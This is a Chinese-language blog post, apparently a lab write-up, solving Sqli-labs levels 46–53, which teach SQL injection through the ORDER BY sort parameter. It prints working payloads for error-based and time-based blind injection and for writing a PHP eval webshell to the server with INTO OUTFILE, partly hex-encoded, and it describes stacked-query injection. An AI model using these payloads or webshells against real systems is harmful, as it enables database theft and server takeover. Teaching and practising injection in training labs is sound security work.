zoukankan      html  css  js  c++  java
  • Sqli-labs Less-46-53

    Less-46

      在开始这一关内容之前,我们先来了解一下数据库中使数据进行排列的语句:

      select * from users order by 1 desc ;使用降序(倒序)排列

      select * from users order by 1 asc ;使用升序(正序)排列

      lines  terminated by ***  每行输出以***结尾

      然后我们就可以了解这一关了。

      打开Less-46,发现在Welcome下面醒目的一句话:

      Please input parameter as SORT with numeric value

       再打开index,发现输出查询的事实上还是id,所以我们推测,这里事实上是输入sort来代替id:

       我们输入?sort=1以后,回显改变了:

      http://192.168.1.1/sqli-labs-master/Less-46/?sort=1

       改变sort后面的数值,1代表把第一列按从小到大进行排列,3 就代表把第3列按从小到大进行排列:

      http://192.168.1.1/sqli-labs-master/Less-46/?sort=3

       我们在开头已经说明了两条语句,它们后面都有升序降序的后缀,我们在这里尝试,发现可以起作用:

      http://192.168.1.1/sqli-labs-master/Less-46/?sort=1 desc   第一列降序排列

       http://192.168.1.1/sqli-labs-master/Less-46/?sort=2 asc   第二列升序排列

       接下来我们可以进行注入拿取数据了:

    法一:报错注入

      http://192.168.1.1/sqli-labs-master/Less-46/?sort=1 and updatexml (1, concat(0x7e,database()) ,1)

      http://192.168.1.1/sqli-labs-master/Less-46/?sort=1 and  updatexml( 1, concat( 0x7e,(select schema_name from information_schema.schemata limit 0,1),1),1)--+

       省略剩下的过程,具体语句参考Less-17。

    法二:布尔(时间)盲注

      http://192.168.1.1/sqli-labs-master/Less-46/?sort=1 and if(length(database())=8  ,1,sleep(5))

       http://192.168.1.1/sqli-labs-master/Less-46/?sort=1 and if(left((select schema_name from information_schema.schemata limit 0,1),1)>'a',1,sleep(5))--+

       具体步骤与语句参考Less-5。

    Less-47:用?sort=1'包裹

      除了包裹方式的不同,其他与Less-46相同,不再赘述。

    Less-48:无包裹,无错误回显

      这一关与Less-46几乎相同,都没有包裹,但是这一关没有错误回显信息,所以不能使用报错注入,只能使用布尔盲注。语句与Less-46相同,不再赘述。

    Less-49:用?sort=1'包裹,无错误回显

      几乎与Less-46相同,除了此关卡用单引号包裹,无错误回显信息,使用Less-46中布尔盲注即可解决,不再赘述。这里我们以这一关为例,使用新的方法来注入:一句话木马。

      我们使用outline的方式在对应的文件夹中创建php文件,具体的注意事项请参考Less-5-10,这里我创建LESS49.php:

      http://192.168.1.1/sqli-labs-master/Less-49/?sort=1'and (select '<php @eval($_POST["crow"];?>') into outfile 'C:\PhpStudy\WWW\LESS49.php' --+

       创建成功:

       打开后我们发现,数据库的信息已经存在于其中了,可是却没有一句话木马,这样我们就不能使用菜刀访问了,所以我们这里要修改一下语句,我们使用line terminal by语句,使得一句话木马在结尾部分输出,这里要注意,后面跟的是一句话木马十六进制:

      http://192.168.1.1/sqli-labs-master/Less-49/?sort=1'into outfile 'C:\PhpStudy\WWW\LESS49.php' lines terminated by 0x3c70687020406576616c28245f504f53545b2263726f77225d3b3f3e --+

       打开发现,输出的每一行都写入了一句话木马,这样就可以用菜刀进行连接:

    Less-50

      我们照旧进行尝试,看看有没有进行包裹,发现这一关与Less-46一样没有包裹:

      查看index源码,发现这一节使用了mysqli_multi_query函数,其他与Less-46并无二致,mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔所以事实上我们无法使用联合查询,因为会被疯狂转义,所以我们选择报错注入布尔注入都是没有问题的。

      也可以使用我们新学习的方法,使用堆叠注入插入新的表,也可以使用堆叠注入创建含有一句话木马的表,再用菜刀访问。这四种方法均可,我们还可以使用第五种方法,就是Less-49中的方法,直接创建表然后用一句话木马访问。

      上述提到的方法请参考历史内容,不再赘述。

    Less-51:用?sort=1'包裹 

      除了包裹方式不同,其余和50关相同。所以还是使用那五种方法进行注入:

      法一:延时注入

      法二:报错注入

      法三:写入一句话木马  以上三种方法参考上面。

      法四:使用堆叠注入创建新的users表。

      法五:使用堆叠注入写入一句话木马。


    Less-52:无包裹,无报错回显

      这一关没有包裹,除了没有报错回显,其余与50关相同,因为没有报错回显,所以不能用报错注入,这一节能够使用的方法减少一种:

      法一:延时注入

      法二:写入一句话木马  以上三种方法参考上面。

      法三:使用堆叠注入创建新的users表。

      法四:使用堆叠注入写入一句话木马。

    Less-53:用?sort=1'包裹

      除了包裹方式与没有回显信息这两点与Less-50不同,其余与Less-50相同,显而易见,我们无法使用报错注入,所以还是使用以下四种方法:

      法一:延时注入

      法二:写入一句话木马  以上三种方法参考上面。

      法三:使用堆叠注入创建新的users表。

      法四:使用堆叠注入写入一句话木马。

  • 相关阅读:
    Codeforces Round #573 (Div. 2) C. Tokitsukaze and Discard Items
    Codeforces Round #573 (Div. 2) B
    练习2
    练习1
    上机练习4
    上机练习3
    上机练习1
    JAVA第一次作业
    es document的强制替换、创建、删除
    es 返回定制化的_source数据
  • 原文地址:https://www.cnblogs.com/FHBBS/p/12380304.html
Copyright © 2011-2022 走看看